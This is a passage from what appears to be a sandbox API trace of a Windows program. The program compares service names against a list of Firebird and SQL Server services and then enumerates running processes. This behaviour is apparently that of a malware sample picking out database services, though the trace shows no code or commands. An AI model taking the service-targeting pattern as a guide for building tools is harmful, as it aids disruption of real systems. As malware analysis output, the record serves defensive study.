lpString2="LanmanWorkstation") returned -1 [0185.440] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0185.440] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0185.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0185.440] lstrlenW (lpString="lfsvc") returned 5 [0185.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0185.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0185.440] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0185.441] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0185.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0185.441] lstrlenW (lpString="lmhosts") returned 7 [0185.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0185.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0185.441] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0185.441] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0185.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0185.441] lstrlenW (lpString="LSM") returned 3 [0185.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0185.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0185.441] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0185.441] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0185.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0185.441] lstrlenW (lpString="MpsSvc") returned 6 [0185.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0185.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0185.441] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0185.441] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0185.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0185.441] lstrlenW (lpString="NcbService") returned 10 [0185.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0185.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0185.441] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0185.441] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0185.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0185.441] lstrlenW (lpString="netprofm") returned 8 [0185.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0185.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0185.441] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0185.441] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0185.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0185.441] lstrlenW (lpString="NgcSvc") returned 6 [0185.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0185.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0185.442] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0185.442] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0185.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0185.442] lstrlenW (lpString="NlaSvc") returned 6 [0185.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0185.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0185.442] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0185.442] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0185.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0185.442] lstrlenW (lpString="nsi") returned 3 [0185.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0185.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0185.442] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0185.442] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0185.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0185.442] lstrlenW (lpString="PcaSvc") returned 6 [0185.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0185.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0185.442] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0185.442] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0185.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0185.442] lstrlenW (lpString="PlugPlay") returned 8 [0185.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0185.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0185.442] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0185.442] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0185.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0185.442] lstrlenW (lpString="Power") returned 5 [0185.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0185.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0185.443] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0185.443] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0185.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0185.443] lstrlenW (lpString="ProfSvc") returned 7 [0185.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0185.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0185.443] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0185.443] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0185.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0185.443] lstrlenW (lpString="RpcEptMapper") returned 12 [0185.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0185.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0185.443] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0185.443] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0185.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0185.443] lstrlenW (lpString="RpcSs") returned 5 [0185.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0185.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0185.443] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0185.443] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0185.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0185.443] lstrlenW (lpString="SamSs") returned 5 [0185.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0185.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0185.443] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0185.443] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0185.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0185.443] lstrlenW (lpString="Schedule") returned 8 [0185.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0185.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0185.443] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0185.443] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0185.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0185.444] lstrlenW (lpString="SecurityHealthService") returned 21 [0185.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0185.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0185.444] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0185.444] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0185.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0185.444] lstrlenW (lpString="SENS") returned 4 [0185.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0185.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0185.444] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0185.444] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0185.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0185.444] lstrlenW (lpString="ShellHWDetection") returned 16 [0185.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0185.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0185.444] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0185.444] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0185.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0185.444] lstrlenW (lpString="Spooler") returned 7 [0185.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0185.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0185.444] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0185.444] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0185.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0185.444] lstrlenW (lpString="StateRepository") returned 15 [0185.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0185.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0185.444] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0185.444] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0185.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0185.444] lstrlenW (lpString="SysMain") returned 7 [0185.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0185.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0185.445] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0185.445] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0185.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0185.445] lstrlenW (lpString="SystemEventsBroker") returned 18 [0185.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0185.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0185.445] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0185.445] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0185.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0185.445] lstrlenW (lpString="Themes") returned 6 [0185.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0185.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0185.445] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0185.445] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0185.445] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x456b180 | out: hHeap=0x420000) returned 1 [0185.445] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3f8 [0185.449] Process32FirstW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0185.745] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0185.746] lstrlenW (lpString="System") returned 6 [0185.746] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0185.746] lstrlenW (lpString="smss.exe") returned 8 [0185.746] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0185.747] lstrlenW (lpString="csrss.exe") returned 9 [0185.747] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0185.747] lstrlenW (lpString="wininit.exe") returned 11 [0185.747] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0185.748] lstrlenW (lpString="csrss.exe") returned 9 [0185.748] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0185.748] lstrlenW (lpString="winlogon.exe") returned 12 [0185.748] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0185.749] lstrlenW (lpString="services.exe") returned 12 [0185.749] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0185.749] lstrlenW (lpString="lsass.exe") returned 9 [0185.749] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0185.750] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0185.750] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0185.750] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0185.750] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.750] lstrlenW (lpString="svchost.exe") returned 11 [0185.751] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.751] lstrlenW (lpString="svchost.exe") returned 11 [0185.751] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0185.751] lstrlenW (lpString="dwm.exe") returned 7 [0185.752] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.752] lstrlenW (lpString="svchost.exe") returned 11 [0185.752] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.752] lstrlenW (lpString="svchost.exe") returned 11 [0185.752] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.753] lstrlenW (lpString="svchost.exe") returned 11 [0185.753] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.753] lstrlenW (lpString="svchost.exe") returned 11 [0185.754] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.754] lstrlenW (lpString="svchost.exe") returned 11 [0185.754] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.755] lstrlenW (lpString="svchost.exe") returned 11 [0185.755] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.755] lstrlenW (lpString="svchost.exe") returned 11 [0185.755] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.756] lstrlenW (lpString="svchost.exe") returned 11 [0185.756] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.756] lstrlenW (lpString="svchost.exe") returned 11 [0185.756] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.756] lstrlenW (lpString="svchost.exe") returned 11 [0185.756] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0185.757] lstrlenW (lpString="spoolsv.exe") returned 11 [0185.757] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.757] lstrlenW (lpString="svchost.exe") returned 11 [0185.758] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0185.758] lstrlenW (lpString="audiodg.exe") returned 11 [0185.758] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0185.758] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0185.759] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0185.759] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0185.759] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0185.759] lstrlenW (lpString="Memory Compression") returned 18 [0185.759] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0185.760] lstrlenW (lpString="sihost.exe") returned 10 [0185.760] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.760] lstrlenW (lpString="svchost.exe") returned 11 [0185.760] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0185.761] lstrlenW (lpString="taskhostw.exe") returned 13 [0185.761] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a8, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0185.761] lstrlenW (lpString="msoia.exe") returned 9 [0185.761] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0xa04, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0185.762] lstrlenW (lpString="explorer.exe") returned 12 [0185.762] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0185.762] lstrlenW (lpString="SearchUI.exe") returned 12 [0185.762] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0185.763] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0185.763] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0185.763] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0185.763] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, 